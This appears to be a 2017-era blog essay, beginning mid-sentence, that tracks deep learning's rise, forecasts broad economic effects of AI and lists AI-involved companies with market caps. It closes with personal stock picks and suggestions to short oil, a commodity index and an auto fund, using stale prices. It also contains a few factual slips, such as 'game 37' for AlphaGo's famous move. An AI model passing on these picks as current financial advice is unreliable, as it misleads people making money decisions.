had given up on them  Geoffrey Hinton of Google is one of the few who stuck with it. Despite his peers calling it a dead end, he believed that it was the right approach. It turned out he was right.  Hinton learned how to stack neural networks dozens of layers deep (deep learning) which enabled vastly more calculations and now he is considered “the godfather of neural networks”.  With these 3 breakthroughs in place neural networks finally began to work. And they worked better than almost anyone expected.  The Tipping Point: ImageNet 2012  The ImageNet project was created in 2009 to judge how well computers can see.  In 2011 computers had a 26% error rate when trying to label images. Humans only had a 5% error rate.  But in 2012, Hinton’s team made a breakthrough and reduced the error rate to 16% using deep learning.  This made everyone sit up and take notice. Massive research began in deep learning, and just a few years later in 2015 computers actually beat humans with an error rate of just 4%.  Today, just 5 years after Hinton’s breakthrough, the error rate for AI is 3%.  The portion of evolution in which animals developed eyes was a big development. Now computers have eyes. – Jeff Dean, Google Brain  Governments, the academic world, big corporations, and startups became obsessed with neural networks and AI in general.  Tech companies began spending billions to make progress as fast as possible and a massive recruiting war began for anybody with relevant skills.  As everybody raced to develop these deep neural networks breakthrough after breakthrough occurred and it was clear that something very special was happening.  Self-Driving cars became a reality  Computers became as good as or better than humans at many types of medical diagnosis  Voice recognition accuracy skyrocketed  High accuracy language translation (for text and audio) became accessible  Autonomous drones were built  A Computer beat humans at Go, a milestone thought to be decades away.  Today the pace of funding and development of AI is faster than ever and we are still in the very early stages of exploring what these neural nets and AI systems can help us do.  The Next Decade (2017 – 2020s)  The Dream Is Finally Arriving. This Is What It Was All Leading Up To. – Bill Gates  WIDESPREAD OPTIMIZATION  Better optimized logistics, supply chain management, back office processes, and communication will speed up many of our daily processes.  Productivity gains and reduced friction will occur across all industries.  These behind the scenes advances might be incremental and seemingly boring, but when combined and compounded will free up so much wealth and resources.  A lot of experts are going to be surprised at how inefficient their best efforts have been.  Google Turns on DeepMind AI, Cuts Cooling Energy Bill by 40%  We used a similar system to AlphaGo, but instead of playing Go we applied it to the cooling systems in the data centers to try and increase their energy efficiency. We managed to save 40% of the energy that was used by the cooling systems. The whole data center now has 15% less power usage. That’s worth tens of millions of dollars per year. What we’re thinking now is, why don’t we optimize something like the energy grid at national scale? There’s no need to just think about data centers, there must be huge inefficiencies even at grid scale. – Demis Hassibis, Google DeepMind  This alone probably pays for the Deepmind acquisition. Shows how far below Pareto optimal limits even Google was. – Balaji S. Srinivasan  I don’t think most grasp the significance of this. Oil companies have similar systems they pay billions trying to optimize. – iandanforth It’s all about optimization. It can be used in supply logistics, shipping logistics and dynamic pricing in addition to keeping an industrial area at the right temperature. We’ll be seeing AI being applied to a lot more areas. – Dave Schubmehl  Honestly, I’m skeptical a generalized AI will go fully conscious in my lifetime. But these specialized AI? These things are going to start changing our lives over the next ten years in unimaginable ways. The energy savings alone is incredible. – tendimensions  ENERGY AND COMMODITIES WILL GET CHEAPER  Long term Industrial commodity price decline  AI is very effective at figuring out where resources might be and where to drill. It can also optimize business processes, design better equipment, and suggest better techniques.  This will drive the oil price down even further, making it cheaper for all of us to power our businesses and lives.  Travel will become cheaper. Airline ticket prices will fall.  As more efficient production methods are discovered productivity will rise, pushing costs down and enabling prices to fall.  This will occur across a range of commodities from food to energy.  MASSIVE DEFLATIONARY PRESSURES  The event horizon of a coming economic singularity where all prices drop down an asymptote toward zero as technology advances exponentially. – James C. Townsend  Optimization and cheaper commodity prices will produce tremendous deflationary pressures.  Productivity gains should be higher than the rate of money printing. This means that prices will fall.  As things get easier to produce they become less scarce. Lower costs for producers means they can cut prices to gain more customers and sell to a larger market.  We’ve already seen this with electronics such as smartphones.  The components of the phones keep reducing in price, and supply chains and operations get more efficient, allowing the companies to expand their market to billions of people instead of a much smaller market of wealthy people.  Hundreds of years ago, light was very expensive. Clean water was very expensive. As those things became easier to produce and deliver to people (electricity and modern plumbing systems) the price dropped down an asymptote towards zero.  Nowadays those things are so cheap and easy to obtain that most people take them completely for granted.  The internet revolution has already delivered this in many ways. Entertainment is practically free now with youtube videos, file sharing, and the ability to access any song, movie, book or picture instantly.  Every industry will have costs lowered by AI bringing more efficient systems and production methods.  The path we are on is to use our knowledge and tools to drive costs down and make systems and processes more efficient.  This will result in things that were previously scarce becoming abundant. Deflation is the reward we get for improving our methods.  SMART MANUFACTURING  Fortunes will be made acquiring analogue manufacturers and digitizing them. Comparable to Russian privatization. – Pierre Rochard  The global manufacturing sector generates about $12 trillion in annual revenue.  Industrial robotics equipped with better than human image recognition will use data from sensors to optimize how they function.  Imagine the cost savings with even just small incremental productivity gains.  TRANSPORT WILL BECOME SAFER, CHEAPER, AND LESS TIME CONSUMING  This is already well underway.  Transport costs will continue to be driven down as ride sharing companies offer self-driving rides.  Car ownership rates will plummet. Vehicles will be massively more utilized (at the moment they’re idle 95% of the time). City streets will open up to be used in different ways.  It will save millions of lives and free up an uncountable number of hours.  I never thought I’d see autonomous automobiles driving on the freeways. It wasn’t many years ago [they] put out a request to see who could build a car that could go across the Mojave Desert to Las Vegas from a place in Southern California, and several engineering teams across the country set out to do this. Nobody got more than about 300 yards before there was a problem. Two years later, they made the full 25-mile trip across this desert track, which I thought was a huge achievement, and from that it was just a blink before they were driving on the freeways.” – Gordon Moore  LANUAGE BARRIERS WILL FALL  Language, even more than religion, is humanity’s central point of division. Finally technology is overcoming this. – Jeffrey Tucker  I used to believe that it would take a couple of decades to get a babel fish type of device. I now believe we will have languages solved within 10 years at most.  Google Translate is amazing. The recent conversion to an AI system resulted in huge improvements. I’m in awe at how accurate it can instantly translate foreign text.  Google also have a new feature to use your phone’s camera to translate text in the world around you (like on signs or on a menu).  Skype translator converts instant messages with a very low error rate. This has been available for a while and now audio translation is being rolled out.  I recently tried French – English which was flawed but good enough if you talk clearly. It’s obviously going to improve exponentially with more training.  Breaking these language barriers will reduce friction and speed up processes all over the world. It will allow much greater integration of the 7 billion minds on the planet.  WE’LL HAVE EVEN BETTER ACCESS TO KNOWLEDGE  Personal assistants can finally understand you and start to do useful things. That’s a watershed moment. – David Hanson, Jan 2017  Speech Recognition for under $1 in every product. That’s coming within 2 years. Imagine what we see today with Amazon Alexa, that can be in every Roomba, every little consumer product, and it’s cheaper than putting buttons on a product. That’s obvious. – Steve Jurvetson, 2016  Personal AI assistants similar to what is portrayed in the movie Her will be increasingly prominent on our desktops and smartphones (and devices beyond that like virtual and augmented reality glasses and lenses).  Siri – Apple  Viv, Bixby – Samsung  Google Now – Google  Amazon Echo – Amazon  Cortana – Microsoft  M – Facebook  Personal assistants, along with household robots, will be one of the first things that triggers a realization among the general public that a major transition is happening.  WE’LL LIVE LONGER  I think AI’s effect on healthcare will be far more pervasive and far quicker than anyone anticipates. Even today, AI/Machine Learning is being used in oncology to identify optimal treatment patterns. – Stephen Gold, IBM Watson  Diagnosis  AI is already diagnosing people better than humans and saving lives.  We think that its no longer necessary for humans to spend time reviewing text reports to determine if cancer is present or not. We have come to the point in time that technology can handle this. A human’s time is better spent helping other humans by providing them with better clinical care. Everything — physician practices, health care systems, health information exchanges, insurers, as well as public health departments — are awash in oceans of data. How can we hope to make sense of this deluge of data? Humans can’t do it — but computers can.” This is a major infrastructure advance — we have the technology, we have the data, we have the software from which we saw accurate, rapid review of vast amounts of data without human oversight or supervision. – Shaun Grannis  Genomics  Deep learning is helping us to make sense of the human genome and know what to do with it. It’s just too complicated for us to make fast progress without AI.  Life Extension  Ben Goertzel of Hanson Robotics and OpenCog says it’s inevitable that we will learn enough through AI systems to be able to indefinitely extend our lifespan.  OUR ENGINEERING CAPABILITIES WILL IMPROVE  The greatest achievement of our technology may well be the creation of tools that allow us to go beyond engineering – that allow us to create more than we can understand. – Danny Hillis, 1998  An area I find particularly interesting is evolutionary/iterative algorithms. Deep Learning is part of a larger family of these type of algorithms (where the AI system does something over and over again in an evolutionary manner and somehow get the best result).  These designs often end up looking completely alien and counter-intuitive.  Example 1 – Satellite Antennas  NASA has no idea why their satellite antennas are best shaped like this.  Example 2 = Jet Engines  A jet engine is far too complicated for an unaided human to design so General Electric use evolutionary algorithms.  Example 3 – Structural Nodes  3 structural nodes to hold cables.  On the left is a human design, the right is a machine learning design.  The AI design results in a 40% overall weight reduction of the total structure.  Example 4 – Producing Entangled Photons  Melvin, an algorithm designed at the University of Vienna, works by taking the building blocks of a quantum experiment (lasers and mirrors) and the quantum state desired as an outcome and running through different setups at random.  If the random setup results in the desired outcome, Melvin will simplify it. It can also learn from experience, remembering which configurations result in which outcomes, so it can use those and build on them as needed.  So far, the team says, it has devised experiments that humans were unlikely to have conceived. Some that work in ways that are difficult to understand. They look very different from human-devised experiments.  “I still find it quite difficult to understand intuitively what exactly is going on,” said team member Mario Krenn  – Physics.org  AlphaGo is a similar example of how AI makes decisions that are completely different to what a human would come up with.  This was best displayed in the legendary game 37 when AlphaGo made a move that humans had unanimously dismissed as stupid for 3,000 year, yet turned out to be brilliant.  After humanity spent thousands of years improving our tactics, computers tell us that humans are completely wrong. I would go as far as to say not a single human has touched the edge of the truth of Go. – Ke Jie, Go World Champion  Colonizing mars, mining asteroids, and building a space economy in the decades ahead will need much better engineering than we’ve so far come up with so far, but these algorithms will help us design it.  At some point AI may take us over the threshold of knowledge required to build some of the other most important paradigm shifting technologies speculated about such as large-scale quantum computers or Drexlerian Molecular Assemblers.  HUMANITY’S SCIENTIFIC KNOWLEDGE BASE WILL INCREASE  Deep neural nets will process the big data that we don’t know what to do with. This will provide insights in fields such as physics, biology, and chemistry.  Research breakthroughs at CERN’s particle collider or with the James Webb Space telescope project would give us a better ontological understanding of the nature of reality.  GLOBAL WEALTH WILL KEEP INCREASING EXPONENTIALLY  World GDP in Trillions $  We are already in the Singularity.  At this scale we can see it began sometime around the Scientific Revolution in the 1600s and really took off in the industrial revolution of the 1800s.  What those eras brought will pale in comparison to what comes next.  COMPANIES BRINGING AI TO THE WORLD  PUBLIC COMPANIES  These companies trade on the stock market so are available for the public to become owners of them.  I’ve listed them in order of market cap so it’s easier to get some perspective over who are the most valued companies and who has more room to grow relative to their competitors.  1) Apple  Silicon Valley, USA  Market Cap = $711 Billion  Personal assistant – Siri  Self-driving cars  Massive proprietary data to feed into AI training sets and improve systems  2) Google  Silicon Valley, USA  Market Cap = $582 Billion  DeepMind  AlphaGo  RankBrain – AI Search  Personal assistant – Google Now  Optimization Services (DeepMind in energy)  Google Cloud Computing (Google Cloud Platform)  Hardware –TPUs new deep learning chips (Tensor Processing Chips)  DeepMind Wavenet –The best text to speech system in the world (50% better than traditional systems)  Owns D-Wave “quantum computers” for quantum machine learning  The Google Quantum AI Lab (Quantum Machine Learning – Hartmut Neven, John Martinis)  Massive proprietary data to feed into AI training sets and improve systems  Self-Driving Cars – Waymo  Robotics – Boston Dynamics  Google Brain Project  Google Translate  Google Inbox Smart Reply  Google Home (Competitor to Amazon Alexa)  Nest (Home automation)  Wearables – Smart contact lens (long-term project)  Languages: “In few years time we will put it on a chip that fits into someone’s ear and have an English-decoding chip that’s just like a real Babel fish.” – Geoffrey Hinton  Key Talent – Geoffrey Hinton, Jeff Dean, Ray Kurzweil, John Martinis, Demis Hassibis, Mustafa Suleyman (DeepMind)  3) Microsoft  Seattle, USA  Market Cap = $499 Billion  Languages – Skype Translator  AI Personal Assistant – Cortana  Search – Bing  Speech Recognition  Cloud computing provider (Microsoft Azure)  Researching deep learning with FPGAs. Possibly better result than GPUs  Researching quantum computers  Massive proprietary data to feed into AI training sets and improve systems  Key Talent – Jian Sun, Li Deng, Matthias Troyer.  4) Amazon  Seattle, USA  Market Cap = $404 Billion  Cloud computing provider (AWS)  Amazon AI Services  Open sourced their Deep Scalable Sparse Tensor Network Engine (DSSTNE)  Personal Assistant – Amazon Alexa  Autonomous Drones  Investing significantly in robotics to improve their processes, reduce costs and increase profits.  Massive amounts of difficult to obtain proprietary data.  5) Facebook  Silicon Valley, USA  Market Cap = $387 Billion  Big data – Training AI on it.  AI Personal Assistant – M  Oculus – Integrating AI into this. (Long term)  Acquired voice-recognition AI startup Wit.ai  Key Talent – Yann LeCun  6) General Electric  Fairfield, USA  Market Cap = $270 Billion  Using AI to improve engineering  7) Samsung  Seoul, South Korea  Market Cap = $259 Billion  Acquired much hyped AI assistant Viv Labs (Siri cofounders new company)  The next Samsung phone will come with a digital assistant called Bixby.  Wearables – Smart contact lens (long term)  Part of a $3 billion public/private research centre with, LG, telecom giant KT, SK Telecom, Hyundai Motor, and internet portal Naver.  Pumping Millions into Artificial Intelligence startups  Deep learning to detect cancer – Samsung Medison  8) Alibaba  Hangzhou, China  Market Cap = $253 Billion  Cloud Computing AI Platform  9) Intel  Silicon Valley, USA  Market Cap = $175 Billion  Nervana Systems is a deep learning chip set company recently bought by Intel for around $400 mill which accelerates algorithms.  Intel FPGAs Break Record for Deep Learning Facial Recognition  10) Oracle  Silicon Valley, USA  Market Cap = $172 Billion  Lots of data  AI Cloud Apps  11) IBM  New York, USA  Market Cap = $171 Billion  Cloud computing provider (IBM Cloud)  IBM Watson – a tool for doctors, business people, and scientists.  IBM Watson making inroads into the $3.8 trillion healthcare industry  IBM Watson -Diagnosis greatly in demand  FPGA – Neuromorphic Chips  12) SAP  Walldorf, Germany  Market Cap = $106 Billion  Access to lots of data  Cloud computing platform  Sells AI services  SAP believes the next technology adoption phase for businesses will be around how they can use intelligent applications to assist them with their operations.  13) Qualcomm  San Diego, USA  Market Cap = $84 Billion  Competes with Nvidia in the GPU market  Neuromorphic Chips  The Internet of Things  14) Softbank  Tokyo, Japan  Market Cap = $82 Billion  $32 billion acquisition of ARM (makes GPUs)  Robotics  Pepper, customer service robot  “Nao,” a customer service robot that answers basic questions and is designed to speak 19 languages  Masayoshi Son (Chairman) – “ARM will play a key role in bringing about advanced artificial intelligence. I have unfinished business with the Singularity.”  15) Daimler AG  Stuttgart, Germany  Market Cap = $72 Billion  Mercedes-Benz, one of the leaders in self-driving cars  Mercedes and Uber plan network of self-driving cars  16) Baidu  Beijing, China  Market Cap = $65 Billion  Baidu AI Lab  AI Cloud Services  2 nd largest search engine in the world.  largest search engine in the world. 4 th most visited website in the world (behind Google, Youtube, and Facebook)  most visited website in the world (behind Google, Youtube, and Facebook) Baidu’s AI Supercomputer Beats Google at Image Recognition  Key Talent – Andrew Ng  17) Nvidia  Silicon Valley, USA  Market Cap = $56 Billion  Nvidia have 70% of the GPU market and will try to defend that.  They have a huge head start over their competitors by investing in a $2 billion R&D program before anyone else.  18) Salesforce  Silicon Valley, USA  Market Cap = $56 Billion  Salesforce Einstein is artificial intelligence (AI) built into the core of the Salesforce Platform  Bought deep learning startup Metamind  19) General Motors  Detroit, USA  Market Cap = $54 Billion  Self-Driving Cars  20) ABB Group  Market Cap = $50 Billion  Zurich, Switzerland  Industrial robots and robot software.  21) Ford  Detroit, USA  Market Cap = $50 Billion  Putting $1 billion into an AI startup, Detroit’s biggest investment yet in self-driving car tech  22) Hon Hai Precision Industry Co Ltd  Taipei, Taiwan  Market Cap = $50 Billion  Apple’s Supplier  Industrial Robotics  Already had a fully automated factory that can run 24 hours a day with the lights off  23) Keyence Corp  Osaka, Japan  Market Cap = $48 Billion  Develops and manufactures automation sensors, vision systems, barcode readers, laser markers, measuring instruments  24) Tesla Inc  Silicon Valley, USA  Market Cap = $42 Billion  Self-Driving cars  Plans be able to add your self-driving car to the Tesla shared fleet just by tapping a button on the Tesla phone app and have it generate income for you while you’re at work or on vacation.  25) Fanuc Corp  Oshino-mura, Japan  Market Cap = $41 Billion  One of the largest makers of industrial robots in the world  26) Hyundai Motor Co  Seoul, South Korea  Market Cap = $32 Billion  Part of a $3 billion public/private AI research centre.  Self-Driving Cars.  27) Mitsubishi Electric Corp  Tokyo, Japan  Market Cap = $32 Billion  Self-Driving Cars  28) HP  Silicon Valley, USA  Market Cap = $28 Billion  Venture Fund that invests in AI  29) Nidec Corp  Kyoto, Japan  Market Cap = $27 Billion  Manufactures electric motors  30) Intuitive Surgical  Silicon Valley, USA  Market Cap = $27 Billion  The Da Vinci, a flagship robot performs surgical operations  31) Illumnia Inc  San Diego, USA  Market Cap = $24 Billion  Applying Deep learning to healthcare  32) Naver Corp  Seoul, South Korea  Market Cap = $22 Billion  Korea’s biggest search engine  Lots of data  33) Delphi Automotive  Gillingham, England  Market Cap = $20 Billion  Built 1st driverless car to travel across the USA  34) SMC Corp  Tokyo, Japan  Market Cap = $19 Billion  Industrial robotics  35) SK Telecom  Seoul, South Korea  Market Cap = $16 Billion  Part of a $3 billion public/private AI research centre.  36) Tencent  Shenzhen, China  Market Cap = $15 Billion  Tencent AI Lab  37) Twitter  Silicon Valley, USA  Market Cap = $14 Billion  Lots of data  38) AMD  Silicon Valley, USA  Market Cap = $12 Billion  Competes with Nvidia in the GPU industry.  Investing heavily in AI markets  39) Mobileye  Jerusalem, Israel  Market Cap = $10 Billion  Self-Driving Cars  40) LG Electronics  Seoul, South Korea  Market Cap = $9 Billion  Part of a $3 billion public/private research centre with, Samsung, telecom giant KT, SK Telecom, Hyundai Motor, and internet portal Naver.  41) Omron Corp  Kyoto, Japan  Market Cap = $9 Billion  Japanese electronics company.  Bought Adept technologies which focuses on industrial automation and robotics in 2015  42) Toshiba Corp  Tokyo, Japan  Market Cap = $9 Billion  Robotics  Toshiba receives bid as high as $3.6 billion for chip business stake  Toshiba gets on the starting blocks for its latest NAND fab  43) Trimble Navigation  Silicon Valley, USA  Market Cap = $8 Billion  Makes Global Positioning System receivers, laser rangefinders, unmanned aerial vehicles, inertial navigation systems and a variety of software processing tools  44) KT Corp  Seoul, South Korea  Market Cap = $7 Billion  Part of a $3 billion public/private research centre with, Samsung, LG, SK Telecom, Hyundai Motor, and internet portal Naver.  45) NEC  Tokyo, Japan  Market Cap = $6 Billion  Internet of Things  46) Nuance Communications  Boston, USA  Market Cap = $5 Billion  Provides speech and imaging applications  47) Yaskawa Electric Corp  Kitakyushu, Japan  Market Cap = $5 Billion  Industrial robots  48) Cyberdyne Inc  Tsukuba, Japan  Market Cap = $3 Billion  Robotics company  Introducing ‘service’ robots with artificial intelligence  49) iRobot  Boston, USA  Market Cap = $1.7 Billion  The Roomba, the floor cleaning robot from my previous company, iRobot, is perhaps the robot with the most volition and intention of any robots out there in the world. Most others are working in completely repetitive environments, or have a human operator providing the second by second volition for what they should do next – Rodney A. Brooks, 2014  50) Pacific Industrial Co  Nagoya, Japan  Market Cap = $0.7 Billion  Robotics  51) Nippon Cermaic Co  Tottori, Japan  Market Cap = $0.5 Billion  Robotics  Sells various types of sensors  52) Kawada Technologies Inc  Tokyo, Japan  Market Cap = $0.4 Billion  Industrial Robotics  Its robot is designed to work alongside humans, and can be taught new tasks without the need for programming expertise.  NOTABLE PRIVATE COMPANIES  At the moment the public cannot buy stock in these companies.  Some might IPO soon or be bought up by one of the large public companies.  1) Uber  Acquired self-driving truck company Otto.  Uber AI Research Labs  AI Labs at Uber, which is using AI in everything from self-driving cars to dynamic ride scheduling  Transitioning to self-driving ride shares  Massive amounts of proprietary data.  2) Human Longevity Inc  Creating the largest database of human genotypic phenotypic and microbiology data ever assembled and using machine learning to analyze it  3) Hanson Robotics  Create life-like robots.  These robots are infused with OpenCog’s opensource artificial intelligence to “think”.  4) Rethink Robotics  Sells “Baxter” Industrial robot.  5) Kernel  Building advanced neural interfaces to treat disease and extend cognition.  6) Vicarious  Working on artificial intelligence; replicating the human visual cortex and creating machines with human-level intelligence in vision, language and motor control.  Funded by Mark Zuckerberg, Elon Musk, Peter Thiel, and Jeff Bezos  7) Berg Pharmaceutical  Uses machine learning, to learn the various health associations and correlations. This led to the development of Berg’s first drug, BPM 31510, which is in clinical trials.  RECOMMENDATIONS  It’s probably smart to be an owner of Artificial Intelligence.  The large public companies are spending billions.  Private companies and startups getting involved.  Lots of theoretical research is taking place in academia (especially in Canada).  Governments and militaries are inevitably involved. Some of these projects are public knowledge, for example the Chinese government have pledged to invest $15 billion by 2018 and South Korea has a $3 billion project. Most likely there are classified projects already well underway.  There are several opensource AI projects such as OpenCog and OpenAI. Maybe some mindblowing unforeseeable opportunity to invest in AI will emerge from a project similar to these the same way Bitcoin came out of nowhere and changed everything.  Some random kid in the middle China could come up with something amazing. History shows that no matter how impressive a big company’s projects look, it’s nothing compared to the guys working out of their garage.  At this stage though, the easiest way to become an owner is to buy shares on the stock market of the companies most prominently involved and likely to succeed.  I laugh when people say tech is a bubble. The establishment is the bubble. Who’s around in 2025 – Google or the EU? – Balaji S. Srinivasan  Of the public companies heavily involved, the one that stands out head and shoulders above the others is Google.  Google snaps up every machine-learning or robotics company it likes the look of. They have supposedly the greatest Artificial Intelligence Lab in the world. They even managed to convince the neural network godfather Geoffrey Hinton to join them.  Google never pays a dividend or does stock buybacks because they aggressively reinvest cash into long-term projects such as DeepMind who they bought for $400mill (a bargain in hindsight). Founder Demis Hassibis describes it as “the Manhattan Project of AI” with hundreds of the best minds working on it.  The scope of their focus is breathtaking and they are clearly the front-runners to make major breakthroughs or even develop General AI.  Kevin Kelly tells the story below of when he realized Google have knowingly been building an AI from day one:  Around 2002 I attended a small party for Google—before its IPO, when it only focused on search. I struck up a conversation with Larry Page, Google’s brilliant co-founder, who became the company’s CEO in 2011. “Larry, I still don’t get it. There are so many search companies. Web search, for free? Where does that get you?”  My unimaginative blindness is solid evidence that predicting is hard, especially about the future, but in my defense this was before Google had ramped up its ad-auction scheme to generate real income, long before YouTube or any other major acquisitions.  I was not the only avid user of its search site who thought it would not last long. But Page’s reply has always stuck with me: “Oh, we’re really making an AI.”  I’ve thought a lot about that conversation over the past few years as Google has bought 14 AI and robotics companies.  At first glance, you might think that Google is beefing up its AI portfolio to improve its search capabilities, since search contributes 80 percent of its revenue. But I think that’s backward. Rather than use AI to make its search better, Google is using search to make its AI better. Every time you type a query, click on a search-generated link, or create a link on the web, you are training the Google AI.  When you type “Easter Bunny” into the image search bar and then click on the most Easter Bunny-looking image, you are teaching the AI what an Easter bunny looks like. Each of the 12.1 billion queries that Google’s 1.2 billion searchers conduct each day tutor the deep-learning AI over and over again.  With another 10 years of steady improvements to its AI algorithms, plus a thousand-fold more data and 100 times more computing resources, Google will have an unrivaled AI. My prediction: By 2024, Google’s main product will not be search but AI  Nvidia are also a very exciting company with massive demand for their products.  The shares are worth picking up because if they do hold on to their position as the best chips to use for AI over the next few years their sales and opportunities to expand into other interesting areas are going to be staggering.  If We Were a Hedge Fund We’d Put All Our Money Into Nvidia – Marc Andreessen  For somebody who wants general exposure to AI, but doesn’t want to pick a winner, investing across a basket of shares by building a portfolio of the best stocks is a good idea.  The Global X Robotics & Artificial Intelligence Thematic ETF is an actively managed AI fund with a management fee of 0.68%. It trades under the stock symbol “BOTZ”.  The 10 biggest positions in this portfolio are:  Mitsubishi Electic Corp Fanuc Corp ABB Keyence Corp SMC Corp Intuitive Surgical Yaskawa Electric Corp Omron Corp Trimble Navigation Ltd Mobileye.  Personally, I think the 10 stocks below would make a better AI fund.  Google (GOOGL:NASDAQ) – $846 per share – $582 billion marketcap Nvidia (NVDA:NASDAQ) – $107 – $56 bill Tesla (TSLA:NASDAQ) – $272 – $42 bill IBM (IBM:US) – $181 – $171 bill Microsoft (MSFT:US) – $65 – $499 bill Samsung (005930:KS) – 1.9 million KRW – $259 bill Amazon (AMZN:NASDAQ) – $845 – $404 bill AMD (AMD:US) – $13 – $12 bill Facebook (FB:NASDAQ) $134 – $387 bill Baidu (BIDU:NASDAQ) – $185 – $65 bill  OTHER INVESTMENT IDEAS  Short WTI Crude Oil (Currently $53 per barrel)  Short the Bloomberg Commodity Index (Currently at 88)  Short the First Trust NASDAQ Global Auto Index Fund (Currently at 36)  OUTLOOK FOR THE MEDIUM TO LONG TERM  The hard part was getting the neural nets to work. This took decades but now we’re there we will see years of easy gains as different industries and people roll them out into every product and service they can think of.  Is there a risk of another AI winter and we’ll be disappointed again?  It’s unlikely at this stage. Computer Science just overtook Economics as the most popular class at Harvard and more and more people are going into machine learning, so better talent is going to be coming through over the next few years.  Companies are spending billions of dollars, and there’s so much low hanging fruit just from applying the current deep learning techniques we already have.  Key Area 1) Data  The amount of data is growing at an exponential rate, doubling every two years.  While a lot of data remains proprietary (which gives companies like Google their edge) there are more and more public data sets becoming available for anyone to use and train their neural nets on.  With more sensors, the internet of things, and more companies willing to launch services which actually lose money just to get data for training AI, this area is going to keep growing exponentially.  Key Area 2) Computing Power and Infrastructure  We’ll soon see the power of computing increase way more than any other period. There will be trillions of products with tiny neural networks inside. – Jen-Hsun Huang, CEO of NVIDIA  Hardware is something we have a very good track record on. It’s extremely unlikely that this will be a limiting factor in the decades ahead.  Ray Kurzweil says there’s general agreement that we’re close to the hardware requirements of strong AI. He believes that we’ll be at the human brain of 10^14 calculations per second for $1,000 in the early 2020s.  Hardware costs are coming down as competition increases and chip companies are racing to compete with Nvida in the GPU area.  Every company is thinking about how to run AI faster to enable larger neural nets. Similar to the bitcoin hardware race, there’s a range of hardware, from GPUs to FPGAs to ASICS.  Deep learning ASICs are a very interesting area with some huge engineering efforts going on in the space of neuromorphic chips, Google’s TPUs, and quantum computers.  FPGAs  Microsoft has done research to show you can do better than GPUs with these.  Tensor Processing Units (TPUs)  Google are building their own machine learning ASICS known as Tensor Processing Units (TPUs).  Quantum Deep Learning  I would predict that in 10 years there’s nothing but quantum machine learning–you don’t do the conventional way anymore – Google’s Hartmut Neven  We actually think quantum machine learning may provide the most creative problem-solving process under the known laws of physics – Google  The Google Quantum Artificial Intelligence Lab was set up to investigate how quantum computing might help with machine learning  Hartmut Neven leads the team and is known for developing the first image recognition system based on quantum algorithms using a D-Wave quantum computer.  Google have bought every model D-Wave has ever produced (at around $15mill each) and has signed a contract to buy all of their machines for the next 5 years.  Lockheed Martin also bought a D-Wave quantum computer to help train a deep neural network.  Google just keeps saying breathless things about D-Wave. I don’t know why Google’s competitors don’t wake up and say “God, what if Google’s right?… What if this is actually gonna knock the socks off everything else.. Maybe we’d want to buy one. Strangely it’s only Google who’s actually buying them, at least to date in this category. Microsoft or Apple haven’t bought one, but we’ll see. – Steve Jurvetson, 2016  Google’s Quantum AI Lab also has John Martinis who is regarded as one of the leading experts.  Martinis is part of Google’s effort to build a quantum computer and his qubits are widely regarded as way higher quality than D-Waves.  Building a quantum computer is a massively ambitious goal, although progress appears to be going much better than most expected. Martinis is confident that Google can demonstrate “quantum supremacy” within the next 1-3 years.  They are definitely the world leaders now, there is no doubt about it. It’s Google’s to lose. If Google’s not the group that does it, then something has gone wrong. – Simon Devitt, 2016  Other Efforts in Quantum Deep Learning  IBM and Microsoft are also investing massive resources to develop their own quantum computers that can be applied to AI.  In 2014 a team of Chinese physicists demonstrated ‘quantum artificial intelligence” by training a quantum computer to recognize handwritten characters.  There are still massive challenges, but even if quantum machine learning turns out to to be too difficult to scale and fully implement over the next couple of decades it’s inevitable we’re going to get exponentially better hardware for machine learning which will allow much deeper neural nets.  Key Area 3) Better Platforms and Algorithms  This is an unprecedented time in openness. All of the big companies are openly publishing their work, although they keep their data-sets proprietary and build better systems than their competitors by exploiting their data edge.  It’s easier than ever to build machine learning systems, especially with opensource platforms like OpenAI’s Universe and Google’s Tensorflow. Start ups can use these to create an AI product that solves a business problem.  As more money and talent comes into the space, better ways of building AI will inevitably emerge.  Most exciting is AI systems working on better ways to build AI systems.  This is already happening.  1) AI Designing deep neural nets  2) Machine learning system writes machine learning software.  Building Stronger More General AI  The big moment is when AIs become general in their abilities and have an almost human-like level ability to generally figure things out, to switch from context to context and remember skills applied in different areas.  General AI is hard, and we’re not there yet.  Most of the magic produced by AI today comes from a surprisingly simple technique called supervised learning.  Most researchers believe the next big breakthrough will come from unsupervised learning.  Unsupervised learning involves learning from unlabeled data. We’ll probably need a lot more progress in unsupervised learning to get to General AI.  In the brain, synapses adjust themselves but we don’t have a clear picture for what the algorithm of the cortex is. We know the ultimate answer is unsupervised learning, but we don’t have the answer yet. – Yann LeCun, Facebook AI Research  In 2013, hundreds of experts were asked when they thought AGI may arrive. The median prediction was 2040.  In “Future Progress in Artificial Intelligence: A Poll Among Experts” by Bostrom and Vincent C. Müller, the authors come to this conclusion: AI systems will probably (over 50%) reach overall human ability by 2040-50, and very likely (with 90% probability) by 2075.  As AI matches the range of tasks a human can do and switch between them, improvements will take it far beyond a current humans capabilities in similar situations.  How long would it take for a general AI to go from unenhanced human level abilities to superintelligence?  Nick Bostrom has a great slide showing how long it took AlphaGo to progress from a beginner human level of Go to crushing one of the world’s best players.  Lee Sedol v AlphaGO  October 2015: “Based on its level seen in the match (against Fan), I think I will win the game by a near landslide”  February 2016: “I have heard that Google DeepMind’s AI is surprisingly strong and getting stronger, but I am confident that I can win at least this time”  March 9th 2016: “I was very surprised because I didn’t think I would lose”  March 10th 2016: “I’m quite speechless… I am in shock. I can admit that… the third game is not going to be easy for me”  Mar 12th 2016: “I kind of felt powerless.”  Consciousness  A general AI doesn’t have to be self-aware, or conscious. There’s a big debate over what consciousness even means. An AI could have general abilities even if the lights aren’t on.  It is a huge leap to go from something as unalive as a microwave or iphone to something which has the ability to be self-aware and have subjective experiences.  In a report to the Pentagon, JASON claim that current neural network architecture is completely unrelated to consciousness and not even close to the right path to replicating human like self-awareness.  Andrew Ng of Baidu agrees and says “there is no clear path to how AI can become sentient. Part of me hopes there will be a technological breakthrough that enables AI to become sentient, but I just don’t see it happening. That breakthrough might happen in decades, hundreds, or thousands of year from now. I really don’t know.”  We know creating consciousness is possible because we have it, so there must be a way, but how to do it we still don’t know.  David Deutsche feels that current models are a dead end to creating consciousness but “it is plausible that just a single idea stands between us and the breakthrough. But it will have to be one of the best ideas ever.”  INTEGRATING AI  Smartphones and the internet gives us so much opportunity for more knowledge, more intelligence. I’m really looking forward to AI giving us more of that in 10 years or so when everyone is wearing augmented reality glasses with deep learning built into it. Then beyond that somehow integrating AI into my brain processes. – David Chalmers  A common theme is us against the AI but I think this is about us and the AI.  We are not facing an invasion of intelligent machines from Alpha 